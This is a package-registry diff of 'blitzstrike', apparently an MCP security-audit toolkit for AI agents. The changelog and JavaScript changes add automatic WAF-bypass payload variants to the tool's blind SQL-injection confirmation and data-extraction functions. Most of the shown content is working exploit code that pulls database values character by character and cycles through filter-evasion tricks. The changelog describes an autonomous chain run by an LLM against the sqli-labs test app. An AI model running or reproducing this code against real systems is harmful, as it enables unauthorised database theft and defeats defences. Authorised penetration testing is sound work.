blitzstrike 2.4.154 → 2.4.156

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,28 @@ All notable changes to Blitz Strike are documented here.
5
5
  The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/).
7
7
 
8
+ ## [2.4.156] — 2026-10-11
9
+
10
+ ### Added — automatic WAF-bypass in confirm + extract
11
+
12
+ - `blind_sqli_confirm` now auto-tries WAF-bypass variants of the oracle payload
13
+ (comment style #/--, comment-space /**/, case-swap aNd, double-quote, close-paren)
14
+ and reports which bypass worked when the default is filtered.
15
+ - `blind_sqli_extract` auto-selects the working SUBSTRING function variant
16
+ (case-swap sUbStRiNg / alias SUBSTR·MID / func-paren-split) by probing the first
17
+ character, then reports `bypass_used`. The blind-SQLi chain now tries bypasses
18
+ automatically instead of leaving them to the LLM.
19
+
20
+ ## [2.4.155] — 2026-10-11
21
+
22
+ ### Fixed — blind_sqli_extract trailing-space runaway
23
+
24
+ - Removed space from the extraction charset + trimEnd the result: MySQL's
25
+ trailing-space-insensitive comparison makes `SUBSTRING(x,n,1)=' '` TRUE for an
26
+ empty (past-the-end) position, which appended infinite trailing spaces to every
27
+ extracted value. Verified on sqli-labs Less-8: version=5.7.44, database=security,
28
+ user=root@172.17.0.3 extracted cleanly via the autonomous chain.
29
+
8
30
  ## [2.4.154] — 2026-10-11
9
31
 
10
32
  ### Added — autonomous blind SQLi extraction (blind_sqli_extract)
package/dist/index.js CHANGED
@@ -62443,6 +62443,27 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
62443
62443
  interpretation: "A signal means the parameter reaches that sink (evidence: the differential). Verify live before reporting — the oracle is a detection hint, not proof."
62444
62444
  };
62445
62445
  }
62446
+ function oracleBypassVariants(base) {
62447
+ return [
62448
+ base,
62449
+ base.replace("-- -", "#"),
62450
+ base.replace("-- -", "--"),
62451
+ base.replace(/ /g, "/**/"),
62452
+ base.replace(/AND/g, "aNd"),
62453
+ base.replace(/^'/, '"'),
62454
+ base.replace(/^'/, "')")
62455
+ ];
62456
+ }
62457
+ function extractBypassVariants(tpl) {
62458
+ const fn = tpl.includes("SUBSTRING") ? "SUBSTRING" : "SUBSTR";
62459
+ return [
62460
+ tpl,
62461
+ tpl.replace(fn, fn === "SUBSTRING" ? "sUbStRiNg" : "sUbStR"),
62462
+ tpl.replace(fn, fn === "SUBSTRING" ? "SUBSTR" : "SUBSTRING"),
62463
+ tpl.replace(fn, "MID"),
62464
+ tpl.replace(fn, `${fn}/**/`)
62465
+ ];
62466
+ }
62446
62467
  async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
62447
62468
  const base = baseUrl.replace(/\/+$/, "") + "/";
62448
62469
  const p = blindSqli(dbms);
@@ -62464,23 +62485,46 @@ async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
62464
62485
  const r = await fetchSize(payload);
62465
62486
  return { ok: r.ok, size: r.size, ms: Date.now() - t0 };
62466
62487
  };
62467
- const bt = await fetchSize(`${value}${p.oracle.boolean_true}`);
62468
- const bf = await fetchSize(`${value}${p.oracle.boolean_false}`);
62469
- const boolDiff = bt.ok && bf.ok && bt.size !== bf.size;
62470
- const tt = await fetchTiming(`${value}${p.oracle.time_true}`);
62471
- const tf = await fetchTiming(`${value}${p.oracle.time_false}`);
62472
- const timeDiff = tt.ms > 2000 && tf.ms < 2000;
62488
+ let boolDiff = false, bt = { ok: false, size: 0 }, bf = { ok: false, size: 0 };
62489
+ let boolBypass = null;
62490
+ const btv = oracleBypassVariants(p.oracle.boolean_true);
62491
+ const bfv = oracleBypassVariants(p.oracle.boolean_false);
62492
+ for (let i = 0;i < btv.length; i++) {
62493
+ const t = await fetchSize(`${value}${btv[i]}`);
62494
+ const f = await fetchSize(`${value}${bfv[i]}`);
62495
+ if (t.ok && f.ok && t.size !== f.size) {
62496
+ boolDiff = true;
62497
+ bt = t;
62498
+ bf = f;
62499
+ boolBypass = i === 0 ? null : btv[i];
62500
+ break;
62501
+ }
62502
+ }
62503
+ let timeDiff = false, tt = { ms: 0 }, tf = { ms: 0 };
62504
+ const ttv = oracleBypassVariants(p.oracle.time_true);
62505
+ const tfv = oracleBypassVariants(p.oracle.time_false);
62506
+ for (let i = 0;i < ttv.length; i++) {
62507
+ const t = await fetchTiming(`${value}${ttv[i]}`);
62508
+ const f = await fetchTiming(`${value}${tfv[i]}`);
62509
+ if (t.ms > 2000 && f.ms < 2000) {
62510
+ timeDiff = true;
62511
+ tt = t;
62512
+ tf = f;
62513
+ break;
62514
+ }
62515
+ }
62473
62516
  const confirmed = boolDiff || timeDiff;
62474
62517
  const channel = boolDiff && timeDiff ? "both" : boolDiff ? "boolean" : timeDiff ? "time" : null;
62475
62518
  return {
62476
62519
  dbms,
62477
62520
  param,
62478
62521
  value,
62479
- boolean: { true_size: bt.size, false_size: bf.size, differential: boolDiff },
62522
+ boolean: { true_size: bt.size, false_size: bf.size, differential: boolDiff, bypass: boolBypass },
62480
62523
  time: { true_ms: tt.ms, false_ms: tf.ms, differential: timeDiff },
62481
62524
  confirmed,
62482
62525
  channel,
62483
- evidence: confirmed ? `blind SQLi CONFIRMED via ${channel} differential — ` + (boolDiff ? `boolean TRUE=${bt.size}b vs FALSE=${bf.size}b` : "") + (boolDiff && timeDiff ? "; " : "") + (timeDiff ? `time TRUE≈${tt.ms}ms vs FALSE≈${tf.ms}ms` : "") + "." : "no clean boolean or time differential observed — not confirmed as blind SQLi (could be a WAF, a non-boolean sink, or a false arithmetic hint)."
62526
+ bypass_used: boolBypass,
62527
+ evidence: confirmed ? `blind SQLi CONFIRMED via ${channel} differential — ` + (boolDiff ? `boolean TRUE=${bt.size}b vs FALSE=${bf.size}b${boolBypass ? ` (bypass: ${boolBypass})` : ""}` : "") + (boolDiff && timeDiff ? "; " : "") + (timeDiff ? `time TRUE≈${tt.ms}ms vs FALSE≈${tf.ms}ms` : "") + "." : "no clean boolean or time differential observed (tried default + WAF-bypass variants) — not confirmed as blind SQLi."
62484
62528
  };
62485
62529
  }
62486
62530
  function resolveQueryExpr(p, target, opts) {
@@ -62535,20 +62579,32 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
62535
62579
  channel = "time";
62536
62580
  }
62537
62581
  }
62538
- const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_/.-:@ ";
62582
+ const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_/.-:@";
62583
+ const baseTpl = channel === "time" ? p.extraction.time : p.extraction.boolean;
62584
+ const render = (tpl, pos, ch) => `${value}${tpl.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
62585
+ const matches = async (tpl, pos, ch) => channel === "time" ? await getTime(render(tpl, pos, ch)) > 600 : await getSize(render(tpl, pos, ch)) === trueSize;
62586
+ const variants = extractBypassVariants(baseTpl);
62587
+ let tpl = variants[0];
62588
+ let tplBypass = null;
62589
+ for (const v of variants) {
62590
+ let ok = false;
62591
+ for (const ch of charset) {
62592
+ if (await matches(v, 1, ch)) {
62593
+ ok = true;
62594
+ break;
62595
+ }
62596
+ }
62597
+ if (ok) {
62598
+ tpl = v;
62599
+ tplBypass = v === baseTpl ? null : v;
62600
+ break;
62601
+ }
62602
+ }
62539
62603
  let out = "";
62540
62604
  for (let pos = 1;pos <= maxlen; pos++) {
62541
62605
  let found = null;
62542
62606
  for (const ch of charset) {
62543
- let matched = false;
62544
- if (channel === "time") {
62545
- const payload = `${value}${p.extraction.time.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
62546
- matched = await getTime(payload) > 600;
62547
- } else {
62548
- const payload = `${value}${p.extraction.boolean.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch)}`;
62549
- matched = await getSize(payload) === trueSize;
62550
- }
62551
- if (matched) {
62607
+ if (await matches(tpl, pos, ch)) {
62552
62608
  found = ch;
62553
62609
  break;
62554
62610
  }
@@ -62557,6 +62613,7 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
62557
62613
  break;
62558
62614
  out += found;
62559
62615
  }
62616
+ out = out.trimEnd();
62560
62617
  return {
62561
62618
  dbms,
62562
62619
  target,
@@ -62564,7 +62621,8 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
62564
62621
  query: queryExpr,
62565
62622
  extracted: out,
62566
62623
  char_count: out.length,
62567
- evidence: out.length > 0 ? `extracted '${target}' = ${JSON.stringify(out)} via ${channel} oracle (${out.length} chars).` : `no characters matched for '${target}' — the oracle may be dead for this query or the value is empty.`
62624
+ bypass_used: tplBypass,
62625
+ evidence: out.length > 0 ? `extracted '${target}' = ${JSON.stringify(out)} via ${channel} oracle (${out.length} chars${tplBypass ? `; function bypass: ${tplBypass}` : ""}).` : `no characters matched for '${target}' — the oracle may be dead for this query or the value is empty.`
62568
62626
  };
62569
62627
  }
62570
62628
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "blitzstrike",
3
- "version": "2.4.154",
3
+ "version": "2.4.156",
4
4
  "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
5
5
  "type": "module",
6
6
  "bin": {